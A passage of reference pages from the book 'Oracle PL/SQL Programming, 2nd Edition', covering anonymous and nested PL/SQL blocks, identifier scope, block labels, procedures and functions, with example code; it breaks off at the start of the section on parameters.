[Chapter 15] 15.3 The Anonymous PL/SQL Block

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

15.3 The Anonymous PL/SQL Block

When someone wishes to remain anonymous, that person goes unnamed. So it is with the anonymous PL/SQL block. Unlike the other two types of PL/SQL blocks (the procedure and the function), the anonymous block has no name associated with it. In fact, the anonymous block is missing the header section altogether. Instead it simply uses the DECLARE reserved word to mark the beginning of its optional declaration section.

Figure 15.4: An anonymous block without declaration and exception sections

Figure 15.5: An anonymous block defined inside a procedure

Without a name, the anonymous block cannot be called by any other block -- it doesn't have a handle for reference. Instead, anonymous blocks serve as scripts that execute PL/SQL statements, including calls to procedures and functions. Anonymous blocks can also serve as nested blocks inside procedures, functions, and other anonymous blocks, as shown in Figure 15.5.

Because an anonymous block can have its own declaration and exception sections, developers use anonymous blocks to provide a scope for identifiers and exception handling within a larger program.

15.3.1 The Structure of an Anonymous Block

The general format of an anonymous PL/SQL block is as follows:

[ DECLARE
   ... optional declaration statements ... ]

BEGIN
   ... executable statements ...

[ EXCEPTION
   ... optional exception handler statements ... ]

END;

The square brackets indicate an optional part of the syntax. As you can see, just about everything in an anonymous block is optional. You must have BEGIN and END statements and you must have at least one executable statement.

15.3.2 Examples of Anonymous Blocks

The following examples show the different combinations of block sections, all of which comprise valid PL/SQL blocks:

  • A block with BEGIN-END terminators, but no declaration or exception sections:

    BEGIN
   hiredate := SYSDATE;
END

  • An anonymous block with a declaration section, but no exception section:

    DECLARE
   right_now DATE := SYSDATE;
BEGIN
   hiredate := right_now;
END

  • An anonymous block containing declaration, execution, and exception sections:

    DECLARE
   right_now DATE := SYSDATE;
   too_late EXCEPTION;
BEGIN
   IF :employee.hiredate < ADD_MONTHS (right_now, 6)
   THEN
      RAISE too_late;
   ELSE
      :employee.hiredate := right_now;
   END IF;
EXCEPTION
   WHEN too_late
   THEN
      DBMS_OUTPUT.PUT_LINE
         ('You no longer qualify for free air.');
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE
         ('Error encountered: ' || SQLCODE);
END;

Anonymous blocks execute a series of statements and then terminate, thus acting like procedures. In fact, all anonymous blocks are anonymous block procedures.

15.3.3 Anonymous Blocks in the Oracle Tools

Anonymous blocks are used in Oracle tools where PL/SQL code is either executed immediately (SQL*Plus) or attached directly to objects in that tool environment (see Table 15.1). That object then provides the context or name for the PL/SQL code, making the anonymous block both the most appropriate and the most efficient way to attach programmatic functionality to the object.

Table 15.1: Anonymous Blocks in Oracle Tools
Object Type | Environment | Description
Trigger | Oracle Developer/2000 | Place PL/SQL code directly in the Oracle Forms or Oracle Reports trigger, which is then packaged as an anonymous block by the tool and sent to the PL/SQL engine.
Database trigger | Record or column of table | The body of the trigger is coded in PL/SQL. While the trigger has a name, the PL/SQL code itself is unnamed, hence anonymous.
Script | SQL*Plus and SQL*DBA | Ad hoc programs and batch processing scripts written in SQL*Plus are always anonymous blocks (which may then call procedures or functions).
Embedded PL/SQL programs | Pro* embedded languages | Embed PL/SQL blocks to execute statements inside the database server.

Whenever you attach PL/SQL code to a trigger or field in a tool, that code forms an anonymous PL/SQL block. When you write this code you can enter a fully specified PL/SQL block (declaration, execution, and exception sections), or you can enter only the executable section.

15.3.4 Nested Blocks

PL/SQL allows you to nest or embed anonymous blocks within another PL/SQL block. You can also nest anonymous blocks within anonymous blocks for more than one level, as shown in Figure 15.6.

Figure 15.6: Anonymous blocks nested three levels deep

15.3.4.1 Nested block terminology

A PL/SQL block nested within another PL/SQL block may be called by any of the following: nested block, enclosed block, child block or sub-block.

A PL/SQL block that calls another PL/SQL block (anonymous or named) may be referred to as either the enclosing block or the parent block.

15.3.4.2 Nested blocks provide scope

The general advantage of a nested block is that you create a scope for all the declared objects and executable statements in that block. You can use this scope to improve your control over activity in your program. For a discussion, see Section 15.3.5, "Scope and Visibility" later in this chapter.

Consider the following procedure, in which the president and vice-president of the specified company request their salaries be cut in half if their current salaries are more than ten times the average salary in the company. It's the sort of incentive plan that would encourage executives to "share the wealth."

PROCEDURE update_management
   (company_id_in IN NUMBER, avgsal_in IN NUMBER)
IS
BEGIN
   -- The vice-president shows his generosity...
   BEGIN
      SELECT salary INTO v_sal
        FROM employee
       WHERE company_id = company_id_in
         AND title = 'VICE-PRESIDENT';
      IF v_sal > avgsal_in * 10
      THEN
         UPDATE employee SET salary := salary * .50
          WHERE company_id = company_id_in
            AND title = 'VICE-PRESIDENT';
      ELSE
         DBMS_OUTPUT.PUT_LINE ('The VP is OK!');
      END IF;
   EXCEPTION
      WHEN NO_DATA_FOUND THEN NULL;
   END;

   -- The president shows her generosity...
   BEGIN
      SELECT salary INTO v_sal
        FROM employee
       WHERE company_id = company_id_in
         AND title = 'PRESIDENT';
      IF v_sal > avgsal_in * 10
      THEN
         UPDATE employee SET salary := salary * .50
          WHERE company_id = company_id_in
            AND title = `PRESIDENT';
      ELSE
         DBMS_OUTPUT.PUT_LINE ('The Prez is a pal!');
      END IF;
   EXCEPTION
      WHEN NO_DATA_FOUND THEN NULL;
   END;
END;

Each of the two SELECT-UPDATE combinations is embedded in its own anonymous PL/SQL block. Each block has its own exception section. Why go to all this trouble? Why couldn't the programmer just create a little script that will update the salary for a specified title? The following statement, saved to the updemp.sql file, would "do the trick" (&N is the syntax used to supply arguments to a SQL*Plus script):

UPDATE employee SET salary := salary * .50
 WHERE company_id = &1
   AND title = '&2'
   AND salary > &3 * 10;

and then execute the SQL script in SQL*Plus using the START command:

SQL> start updemp 1100 VICE-PRESIDENT
SQL> start updemp 1100 PRESIDENT

The programmer who was assigned this task took several things into account:

  • The executives might decide they will want to take such actions repeatedly in the coming years; better to package the steps into a reusable chunk of code like a procedure than simply execute a series of SELECT-UPDATEs in SQL*Plus.

  • Executives come and go frequently at the company. There is no guarantee that there will be a person in the employee table with a title of `PRESIDENT' or `VICE-PRESIDENT' at any given time. The first assumption argues for the encapsulation of these two SELECT-UPDATE steps into a procedure. This second assumption results in the need for embedded PL/SQL blocks around each UPDATE statement. Suppose that the procedure update_management did not make use of the embedded blocks. The code would then look like this:

    PROCEDURE update_management
   (company_id_in IN NUMBER, avgsal_in IN NUMBER)
IS
BEGIN
   SELECT salary INTO v_sal
     FROM employee
    WHERE company_id = company_id_in
      AND title = 'VICE-PRESIDENT';
   IF v_sal > avgsal_in * 10
   THEN
      UPDATE employee SET salary := salary * .50
       WHERE company_id = company_id_in
         AND title = 'VICE-PRESIDENT';
   ELSE
      DBMS_OUTPUT.PUT_LINE ('The VP is OK!');
   END IF;
   SELECT salary INTO v_sal
     FROM employee
    WHERE company_id = company_id_in
      AND title = 'PRESIDENT';
   IF v_sal > avgsal_in * 10
   THEN
      UPDATE employee SET salary := salary * .50
       WHERE company_id = company_id_in
         AND title = 'PRESIDENT';
   ELSE
      DBMS_OUTPUT.PUT_LINE ('The Prez is a pal!');
   END IF;
END;

If there is a record in the employee table with the title of "VICE-PRESIDENT" (for the appropriate company_id) and if there is a record in the employee table with the title of "PRESIDENT," then this procedure works just fine. But what if there is no record with a title of "VICE-PRESIDENT"? What if the Vice-President did not want to take a 50% cut in pay and instead quit in disgust?

When the WHERE clause of an implict SELECT statement does not identify any records, PL/SQL raises the NO_DATA_FOUND exception (for more details on this phenomenon see Chapter 6, Database Interaction and Cursors, and pay particular attention to the sections concerning implicit cursors). There is no exception handler section in this procedure. As a result, when there is no Vice-President in sight, the procedure will immediately complete (well, abort, actually) and transfer control to the calling block's exception section to see if the NO_DATA_FOUND exception is handled there. The SELECT-UPDATE for the President's salary is therefore not executed at all.

NOTE: You don't actually need a BEGIN-END block around the second SELECT-UPDATE. This is the last statement, and if it fails nothing will be skipped. It is good practice, however, to include an exception statement for the procedure as a whole to trap errors and handle them gracefully.

Our programmer would hate to see an executive's wish go unfulfilled, so we need a mechanism to trap the failure of the first SELECT and allow PL/SQL procedure execution to continue on to the next SELECT-UPDATE. The embedded anonymous block offers this protection. By placing the first SELECT within a BEGIN-END envelope, you can also define an exception section just for the SELECT. Then, when the SELECT fails, control is passed to the exception handler for that specific block, not to the exception handler for the procedure as a whole (see Figure 15.7). If you then code an exception to handle NO_DATA_FOUND which allows for continued processing, the next SELECT-UPDATE will be executed.

Figure 15.7: An anonymous block "catches" the exception

15.3.4.3 Named modules offer scoping effect of nested block

You can also restructure the update_management procedure to avoid the problems addressed in the previous section, and also the redundancy in the code for that procedure. The following version of update_management uses an explicit cursor to avoid the problem of the NO_DATA_FOUND exception being raised. It also encapsulates the repetitive logic into a local or nested procedure.

PROCEDURE update_management
   (company_id_in IN NUMBER, avgsal_in IN NUMBER, decr_in IN NUMBER)
IS
   CURSOR salcur (title_in IN VARCHAR2)
   IS
      SELECT salary
        FROM employee
       WHERE company_id = company_id_in
         AND title = title_in
         AND salary > avgsal_in * 10;

   PROCEDURE update_exec (title_in IN VARCHAR2)
   IS
      salrec salcur%ROWTYPE;
   BEGIN
      OPEN salcur (title_in);
      FETCH salcur INTO salrec;
      IF salcur%NOTFOUND
      THEN
         DBMS_OUTPUT.PUT_LINE ('The ' || title_in || ' is OK!');
      ELSE
         UPDATE employee SET salary := salary * decr_in
          WHERE company_id = company_id_in
            AND title = title_in;
      END IF;
      CLOSE salcur;
   END;
BEGIN
   update_exec ('VICE-PRESIDENT');
   update_exec ('PRESIDENT');
END;

This final version also offers the advantage of consolidating the two SELECTs into a single explicit cursor, and the two UPDATEs into a single statement, thereby reducing the amount of code one would have to test and maintain. Whether you go with named or anonymous blocks, the basic concept of program (and therefore exception) scope remains the same. Use the scoping and visibility rules to your advantage by isolating areas of code and cleaning up the program flow.

15.3.5 Scope and Visibility

Two of the most important concepts related to a PL/SQL block are those of the scope and visibility of identifiers. An identifier is the name of a PL/SQL object, which could be anything from a variable to a program name. In order to manipulate a PL/SQL identifier (assign a value to it, pass it as a parameter, or call it in a module), you have to be able to reference that identifier in such a way that the code will compile.

The scope of an identifier is the part of a program in which you can make a reference to the identifier and have that reference resolved by the compiler. An identifier is visible in a program when it can be referenced using an unqualified name.

15.3.5.1 Qualified identifiers

A qualifier for an identifier can be a package name, module name (procedure or function), or loop label. You qualify the name of an identifer with dot notation, the same way you would qualify a column name with the name of its table.

The names of the following identifiers are qualified:

:GLOBAL.company_id

A global variable in Oracle Forms

std_types.dollar_amount

A subtype declared in a package

The scope of an identifier is generally the block in which that identifier is declared. The following anonymous block declares and then references two local variables:

DECLARE
   first_day DATE;
   last_day DATE;
BEGIN
   first_day := SYSDATE;
   last_day := ADD_MONTHS (first_day, 6);
END;

Both the first_day and last_day variables are visible in this block. When I reference the variables in the assignment statements, I do not need to qualify their names. Also, the scope of the two variables is precisely this anonymous block.

I cannot make reference to either of those variables in a second anonymous block or in a procedure. Any attempt to do so will result in a compile failure, because the reference to those variables cannot be resolved.

If an identifier is declared or defined outside of the current PL/SQL block, it is visible (can be referenced without a qualifier) only under the following conditions:

  • The identifier is the name of a standalone procedure or function on which you have EXECUTE privilege. You can then include a call to this module in your block.

  • The identifier is declared in a block which encloses the current block.

15.3.5.2 Scope and nested blocks

Let's take a closer look at nested blocks and the impact on scope and visibility. When you declare a variable in a PL/SQL block, then that variable is local to that block, but is visible in or global to any blocks defined within the first, enclosing block. For example, in the following anonymous block, the variable last_date can be referenced anywhere inside the block:

/* The enclosing or outer anonymous block. */
DECLARE
   last_date DATE;
BEGIN
   last_date := LAST_DAY (SYSDATE);

   /* The inner anonymous block. */
   BEGIN
      IF last_date > :employee.hire_date
      THEN
         ...
      END IF;
   END;
   ...
END;

Even though last_date is not defined in the inner block, it can still be referenced there without qualification because the inner block is defined inside the outer block. The last_date variable is therefore considered a global variable in the inner block.

Figure 15.8 shows additional examples illustrating the concept of scope in PL/SQL blocks.

Figure 15.8: Scope of identifiers in PL/SQL blocks

15.3.5.3 Qualifying identifier names with module names

When necessary, PL/SQL offers many ways to qualify an identifier so that a reference to the identifier can be resolved. Suppose I create a package called company_pkg and declare a variable named last_company_id in that package's specification, as follows:

PACKAGE company_pkg
IS
   last_company_id NUMBER;
   ...
END company_pkg;

Then, when I reference that variable outside of the package, I must preface the identifer name with the package name:

IF new_company_id = company_pkg.last_company_id THEN ...

Because a variable declared in a package specification is global in your session, the last_company_id variable can be referenced in any program, but it is not visible unless it is qualified.

I can also qualify the name of an identifier with the module in which it is defined:

PROCEDURE calc_totals
IS
   salary NUMBER;
BEGIN
   ...
   DECLARE
      salary NUMBER;
   BEGIN
      salary := calc_totals.salary;
   END;
   ...
END;

The first declaration of salary creates an identifier whose scope is the entire procedure. Inside the inner anonymous block, however, I declare another identifer with the same name. So when I reference the variable "salary" inside the inner block, it will always be resolved first against the declaration in the inner block, where that variable is visible without any qualification. If I wish to make reference to the procedure-wide salary variable inside the inner block, I must qualify that variable name with the name of the procedure.

PL/SQL goes to a lot of trouble and has established many rules for determining how to resolve such naming conflicts. While it is good to be aware of such issues, you would be much better off never having to rely on these guidelines. Use unique names for your identifiers in different blocks so that you can avoid naming conflicts altogether.

15.3.5.4 Cursor scope

To use a cursor, you must declare it. But you cannot refer to that cursor -- whether to OPEN, CLOSE, or FETCH from it -- unless that cursor is accessible in your current PL/SQL block. The scope of a cursor is that part of a PL/SQL program in which you can refer to the cursor.

You can refer to a cursor in the code block in which it was declared and in all blocks defined within that declaring block. You cannot refer to the cursor outside of the declaring block unless the cursor is declared in a package (see Chapter 16, Packages, for more information on global variables and cursors). For example, if a cursor is declared in the get_employees procedure (see below) and within get_employees a second PL/SQL block is defined to calculate total compensation for each employee, the cursor and its attributes may still be referenced in that calculation block:

PROCEDURE get_employees
IS
   CURSOR emp_cur IS
      SELECT employee_id, sal + bonus FROM employee;
BEGIN
   OPEN emp_cur;
   DECLARE
      empid NUMBER;
      total_comp NUMBER;
   BEGIN
      FETCH emp_cur INTO empid, total_comp;
      IF total_comp < 5000
      THEN
         MESSAGE (' I need a raise!');
      END IF;
   END;
END;

If, on the other hand, the cursor is declared within an inner block, then that cursor cannot be referenced in an outer block. In the next procedure, the outer block declares the variables that receive the data fetched from the cursor. The inner block declares the cursor. While the inner block can open the cursor without error, the FETCH statement is outside the scope of the cursor-declaring block and will therefore fail:

PROCEDURE get_employees IS
   empid NUMBER;
   total_comp NUMBER;
BEGIN
   DECLARE
      CURSOR emp_cur IS
         SELECT employee_id, sal + bonus FROM employee;
   BEGIN
      OPEN emp_cur;
   END;

   /* This fetch will not be able to identify the cursor. */

   FETCH emp_cur INTO empid, total_comp; -- INVALID!
   IF total_comp < 5000
   THEN
      MESSAGE (' I need a raise!');
   END IF;
END;

The rules for cursor scope are, therefore, the same as those for all other identifiers.

15.3.6 Block Labels

Anonymous blocks don't have names under which they can be stored in the database. By using block labels, however, you can give a name to your block for the duration of its execution. A block label is a PL/SQL label which is placed directly in front of the first line of the block (either the DECLARE or the BEGIN keyword). You might use block labels for either of these reasons:

  • Improve the readability of your code. When you give something a name, you self-document that code. You also clarify your own thinking about what that code is supposed to do, sometimes ferreting out errors in the process.

  • Qualify the names of elements declared in the block to distinguish between references to elements with a different scope, but the same name.

A PL/SQL label has this format:

<<identifer>>

where identifier is a valid PL/SQL identifier (up to 30 characters in length, starting with a letter; see Section 2.2, "Identifiers" in Chapter 2 in Chapter 2, PL/SQL Language Fundamentals, for a complete list of rules).

Let's look at a couple of examples of applying block labels. In the first example, I place a label in front of my block simply to give it a name and document its purpose:

<<calc_dependencies>>
DECLARE
   v_senator VARCHAR2(100) := 'THURMOND, JESSE';
BEGIN
   IF total_contributions (v_senator, 'TOBACCO') > 25000
   THEN
      DBMS_OUTPUT.PUT_LINE ('We''re smokin''!');
   END IF;
END;

In the next example, I use my block labels to allow me to reference all variables declared in my outer and inner blocks:

<<tobacco_dependency>>
DECLARE
   v_senator VARCHAR2(100) := 'THURMOND, JESSE';
BEGIN
   IF total_contributions (v_senator, 'TOBACCO') > 25000
   THEN
      <<alochol_dependency>>
      DECLARE
         v_senator VARCHAR2(100) := 'WHATEVERIT, TAKES';
      BEGIN
         IF tobacco_dependency.v_senator =
            alcohol_dependency.v_senator
         THEN
            DBMS_OUTPUT.PUT_LINE
               ('Maximizing profits - the American way of life!');
         END IF;
      END;
   END IF;
END;

I have used my block labels in this case to distinguish between the two different v_senator variables. Without the use of block labels, there would be no way for me to reference the v_senator of the outer block within the inner block. Of course, I could simply give these variables different names, the much-preferred approach.

Previous: 15.2 Review of PL/SQL Block Structure | Oracle PL/SQL Programming, 2nd Edition | Next: 15.4 Procedures
15.2 Review of PL/SQL Block Structure | Book Index | 15.4 Procedures
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] 15.4 Procedures

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

15.4 Procedures

A procedure is a module performing one or more actions. Because a procedure is a standalone executable statement in PL/SQL, a PL/SQL block could consist of nothing more than a single call to a procedure. Procedures are key building blocks of modular code, allowing you to both consolidate and reuse your program logic.

The general format of a PL/SQL procedure is as follows:

PROCEDURE name [ ( parameter [, parameter ... ] ) ]
IS
   [declaration statements]

BEGIN
   executable-statements

[ EXCEPTION
     exception handler statements]

END [ name ];

where each component is used in the following ways:

name

The name of the procedure comes directly after the keyword PROCEDURE.

parameters

An optional list of parameters that you define to both pass information into the procedure and send information out of the procedure, back to the calling program.

declaration statements

The declarations of local identifiers for that procedure. If you do not have any declarations, then there will not be any statements between the IS and BEGIN statements.

executable statements

The statements that the procedure executes when it is called. You must have at least one executable statement after the BEGIN and before the END or EXCEPTION keywords.

exception handler statements

The optional exception handlers for the procedure. If you do not explicitly handle any exceptions, then you can leave out the EXCEPTION keyword and simply terminate the execution section with the END keyword.

Figure 15.9 shows the apply_discount procedure, which contains all four sections of the named PL/SQL block, as well as a parameter list.

Figure 15.9: The apply_discount procedure

15.4.1 Calling a Procedure

A procedure is called as an executable PL/SQL statement. In other words, a call to a procedure must end with a semicolon (;) and be executed before and after other SQL or PL/SQL statements.

The following executable statement runs the apply_discount procedure:

apply_discount( new_company_id, 0.15 );  -- 15% discount

If the procedure does not have any parameters, then you must call the procedure without any parentheses:

display_store_summary;

15.4.2 Procedure Header

The portion of the procedure definition that comes before the IS keyword is called the procedure header. The header provides all the information a programmer needs to call that procedure, namely:

  • The procedure name

  • The parameter list, if any

A programmer does not need to know about the inside of the procedure in order to be able to call it properly from another program.

The header for the apply_discount procedure discussed above is:

PROCEDURE apply_discount
   (company_id_in IN company.company_id%TYPE,
    discount_in IN NUMBER)

It consists of the module type, the name, and a list of two parameters.

15.4.3 Procedure Body

The body of the procedure is the code required to implement the procedure. It consists of the declaration, execution, and exception sections of the function. Everything after the IS keyword in the procedure makes up that procedure's body.

Once again, the declaration and exception sections are optional. If you have no exception handlers, you will leave off the EXCEPTION keyword and simply enter the END statement to terminate the procedure.

If you do not have any declarations, the BEGIN statement simply follows immediately after the IS keyword (see the do_nothing procedure below for an example of this structure.).

You must supply at least one executable statement in a procedure. Here is my candidate for the procedure in PL/SQL with the smallest possible body:

PROCEDURE do_nothing IS
BEGIN
   NULL;
END;

Does the do_nothing procedure seem silly? A procedure that doesn't do anything can, in fact, be very useful when you are creating stubs for modules in a top-down design effort. I have also used this kind of procedure when building templates. My do_nothing procedure acts initially as a placeholder in my code, but then also provides a mechanism for customization of the templates.

15.4.4 The END Label

You can append the name of the procedure directly after the END keyword when you complete your procedure, as shown below:

PROCEDURE display_stores (region_in IN VARCHAR2) IS
BEGIN
   ...
END display_stores;

This name serves as a label that explicitly links up the end of the program with its beginning. You should as a matter of habit use an END label. It is especially important to do so when you have a procedure that spans more than a single page, or is one in a series of procedures and functions in a package body.

Previous: 15.3 The Anonymous PL/SQL Block | Oracle PL/SQL Programming, 2nd Edition | Next: 15.5 Functions
15.3 The Anonymous PL/SQL Block | Book Index | 15.5 Functions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] 15.5 Functions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

15.5 Functions

A function is a module that returns a value. Unlike a procedure, which is a standalone executable statement, a call to a function can only be part of an executable statement.

Because a function returns a value, it can be said to have a datatype. A function can be used in place of an expression in a PL/SQL statement having the same datatype as the function.

Appendix C, Built-In Packages, describes the built-in functions that PL/SQL provides to help you write your programs. You can also write your own functions -- numeric functions, VARCHAR2 functions, and even functions that return a PL/SQL table or record. The programmer-defined function, a powerful addition to your toolchest, will aid greatly in making your code more flexible and easier to understand.

15.5.1 Structure of a Function

The structure of a function is the same as that of a procedure, except that the function also has a RETURN clause. The general format of a function follows:

FUNCTION name [ ( parameter [, parameter ... ] ) ]
   RETURN return_datatype
IS
   [ declaration statements ]

BEGIN
   executable statements

[ EXCEPTION
   exception handler statements ]

END [ name ];

where each component is used in the following ways:

name

The name of the procedure comes directly after the keyword FUNCTION.

parameters

An optional list of parameters that you define to both pass information into the procedure and send information out of the procedure, back to the calling program.

return_datatype

The datatype of the value returned by the function. This is required in the function header and is explained in more detail in the next section.

declaration statements

The declarations of local identifiers for that function. If you do not have any declarations, then there will not be any statements between the IS and BEGIN statements.

executable statements

The statements the function executes when it is called. You must have at least one executable statement after the BEGIN and before the END or EXCEPTION keywords.

exception handler statements

The optional exception handlers for the function. If you do not explicitly handle any exceptions, then you can leave out the EXCEPTION keyword and simply terminate the execution section with the END keyword.

Figure 15.10 illustrates the PL/SQL function and its different sections. Notice that the tot_sales function does not have an exception section.

Figure 15.10: The tot_sales function

15.5.2 The RETURN Datatype

The return_datatype is the datatype of the value returned by the function. This datatype can be any datatype (and many complex structures) supported by PL/SQL, including scalars like these:

  • VARCHAR2

  • NUMBER

  • BINARY_INTEGER

  • BOOLEAN

Functions can also return complex and composite datatypes, such as:

  • PL/SQL table (Oracle7)

  • Nested table or variable array (VARRAY) (PL/SQL8)

  • PL/SQL record

  • Object type (PL/SQL8)

  • Large objects (LOBs) such as BFILEs and CLOBs (PL/SQL8)

The datatype of a function cannot be either of the following:

Named exception

Once you declare an exception, you can reference that exception only in a RAISE statement and in the exception handler itself.

Cursor name

You cannot return a cursor from a function. (Note that PL/SQL Release 2.2 and beyond provides a REF CURSOR TYPE declaration that will allow you to return a cursor and even declare a parameter as a cursor.)

15.5.3 The END Label

You can append the name of the function directly after the END keyword when you complete your function, as shown below:

FUNCTION tot_sales (company_in IN INTEGER) RETURN NUMBER
IS
BEGIN
   ...
END tot_sales;

This name serves as a label that explicitly links up the end of the program with its beginning. You should as a matter of habit use an END label. It is especially important to do so when you have a function that spans more than a single page, or is one in a series of functions and procedures in a package body.

15.5.4 Calling a Function

A function is called as part of an executable PL/SQL statement, wherever an expression can be used. The following examples illustrate the different ways that the tot_sales function demonstrated in Figure 15.10 might be called:

  • Call tot_sales to assign a value to a local PL/SQL variable:

    sales_for_1995 := tot_sales (1504, 'C');

  • Use a call to tot_sales to set a default value for a variable:

    DECLARE
   sales_for_1995 NUMBER DEFAULT tot_sales (1504, 'C');
BEGIN

  • Use tot_sales directly in an expression:

    IF tot_sales (275, 'O') > 10000
THEN
...

15.5.4.1 Functions without parameters

If a function has no parameters, then the function call must be written without parentheses, as the line below illustrates:

IF tot_sales THEN ...

Notice that you cannot tell just by looking at the above line of code whether tot_sales is a function or a variable. You would, in fact, have to check the declaration section of your PL/SQL block if you really needed to know. And that's the whole point. A function returns a value, as does a variable. The function just happens to execute some code to come up with that value, whereas a variable has that value as its very attribute, available for immediate return.

15.5.5 Function Header

The portion of the function definition that comes before the IS keyword is called the function header. The header provides all the information a programmer needs to call that function, namely:

  • The function name

  • The parameter list, if any

  • The RETURN datatype

A programmer does not need to know about the inside of the function in order to be able to call it properly from another program.

The header for the tot_sales function discussed above is:

FUNCTION tot_sales
   (company_id_in IN company.company_id%TYPE,
    status_in IN order.status_code%TYPE := NULL)
RETURN NUMBER

It consists of the module type, the name, a list of two parameters, and a RETURN datatype of NUMBER. This means that the PL/SQL statement containing a call to tot_sales must be able to use a numeric value.

15.5.6 Function Body

The body of the function is the code required to implement the function. It consists of the declaration, execution, and exception sections of the function. Everything after the IS keyword in the function makes up that function's body.

Once again, the declaration and exception sections are optional. If you have no exception handlers, you will simply leave off the EXCEPTION keyword and enter the END statement to terminate the function.

If you do not have any declarations, the BEGIN statement simply follows immediately after the IS keyword (see the does_nothing function below for an example of this structure).

15.5.7 A Tiny Function

You must supply at least one executable statement in a function. Here is my candidate for the Boolean function with the smallest possible body in PL/SQL:

FUNCTION does_nothing RETURN BOOLEAN IS
BEGIN
   RETURN TRUE;
END;

You would call does_nothing as follows:

IF does_nothing
THEN
   NULL;
END IF;

15.5.8 The RETURN Statement

A function must have at least one RETURN statement in its execution section of statements. It can have more than one RETURN, but only one of those statements is executed each time the function is called. The RETURN statement that is executed by the function determines the value that is returned by that function. When a RETURN statement is processed, the function terminates immediately and returns control to the calling PL/SQL block.

The RETURN clause in the header of the function is different from the RETURN statement in the execution section of the body of the function. While the RETURN clause indicates the datatype of the return or result value of the function, the RETURN statement specifies the actual value that is returned. You have to specify the RETURN datatype in the header, but then also include at least one RETURN statement in the function.

15.5.8.1 Multiple RETURNs

In the tot_sales function shown in Figure 15.10, I used two different RETURN statements to handle different situations in the function, as follows:

IF sales_cur%NOTFOUND
THEN
   CLOSE sales_cur;
   RETURN NULL;
ELSE
   CLOSE sales_cur;
   RETURN return_value;
END IF;

In other words, if I could not obtain sales information from the cursor, I will return NULL (which is different from zero). If I do get a value from the cursor, I return it to the calling program. In both of these cases the RETURN statement passes back a value; in one case the NULL value, and in the other the return_value variable.

15.5.8.2 RETURN any valid expression

The RETURN statement can accept any expression for evaluation and return. This expression can be composed of calls to other functions, complex calculations, and even data conversions. All of the following usages of RETURN are valid:

RETURN 'buy me lunch';
RETURN POWER (max_salary, 5);
RETURN (100 - pct_of_total_salary (employee_id));
RETURN TO_DATE ('01' || earliest_month || initial_year, 'DDMMYY');

An expression in the RETURN statement is evaluated when the RETURN is executed. When control is passed back to the calling form, the result of the evaluated expression is passed along, too.

15.5.8.3 No RETURN is executed

What happens when you include one or any number of RETURN statements in your functions but none of them is executed? PL/SQL raises an error.

The following function:

FUNCTION company_type (type_code_in IN VARCHAR2)
   RETURN VARCHAR2 IS
BEGIN
   IF type_code_in = 'S'
   THEN
      RETURN 'SUBSIDIARY';
   ELSIF type_code_in = 'P'
   THEN
      RETURN 'PARTNER';
   END IF;
END;

is then called in this executable statement:

type_description := company_type ('R');

Because the RETURN statements are executed only when the type code is `S' or `P', the function never hits a RETURN. It does, however, execute to the end of the function and then raise an error, as follows:

ORA-6503: PL/SQL: Function returned without value

You can avoid this kind of problem (which you may never encounter in testing since you always pass a sensible value to the function) by restructuring your use of the RETURN statement.

15.5.8.4 RETURN as last executable statement

Generally, the best way to make sure that your function always returns a value is to make the last executable statement in the function your RETURN statement. Declare a variable named return_value, which clearly indicates that it will contain the return value for the function, write all the code to come up with that value, and then at the very end of the function RETURN the return_value:

FUNCTION do_it_all (parameter_list) RETURN NUMBER
IS
   return_value NUMBER;
BEGIN

   ... lots of executable statements ...

   RETURN return_value;
END;

The company_type function, for example, can be converted easily to this structure:

FUNCTION company_type (type_code_in IN VARCHAR2)
   RETURN VARCHAR2
IS
   return_value VARCHAR2 (25) := NULL;
BEGIN
   IF type_code_in = 'S'
   THEN
      return_value := 'SUBSIDIARY';

   ELSIF type_code_in = 'P'
   THEN
      return_value := 'PARTNER';
   END IF;

   RETURN return_value;
END;

Notice that, because I provided the return_value variable with a default value of NULL, I didn't have to code an ELSE clause in the IF statement to explicitly make that assignment (though doing so would probably make the code more readable). If the type_code_in does not match any of the values in the IF statement, there is no problem because each IF and ELSIF no longer performs its own RETURN. Instead, they just assign a value and then leave the RETURNing to the little RETURN section at the end of the function.

15.5.8.5 RETURN statement in a procedure

Believe it or not, RETURN statements can also be used in procedures. The procedure version of the RETURN does not take an expression; it cannot, therefore, pass a value back to the calling program unit. The RETURN simply halts execution of the procedure and returns control to the calling code.

You do not (should not, in any case) see this usage of RETURN very often, and for good reason. Use of the RETURN in a procedure usually leads to very unstructured code that is hard to understand and maintain. Avoid using both RETURN and GOTO to bypass proper control structures and process flow in your program units.

Previous: 15.4 Procedures | Oracle PL/SQL Programming, 2nd Edition | Next: 15.6 Parameters
15.4 Procedures | Book Index | 15.6 Parameters
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] 15.6 Parameters

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

15.6 Parameters

Procedures and functions can both use parameters to pass information back and forth between the module and the calling PL/SQL block.

The parameters of a module are at least as important as the code that implements the module (the module's body). Sure, you have to make certain that your module fulfills its promise. But the whole point of creating a module is that it can be called, you hope by more than one other module. If the parameter list is confusing or badly designed, it will be very difficult for programmers to make use of the module. The result will be that few people will use that module. And it doesn't much matter how well you implemented a program that no one uses.

Many developers do not give enough attention to a module's set of parameters. Considerations regarding parameters include:

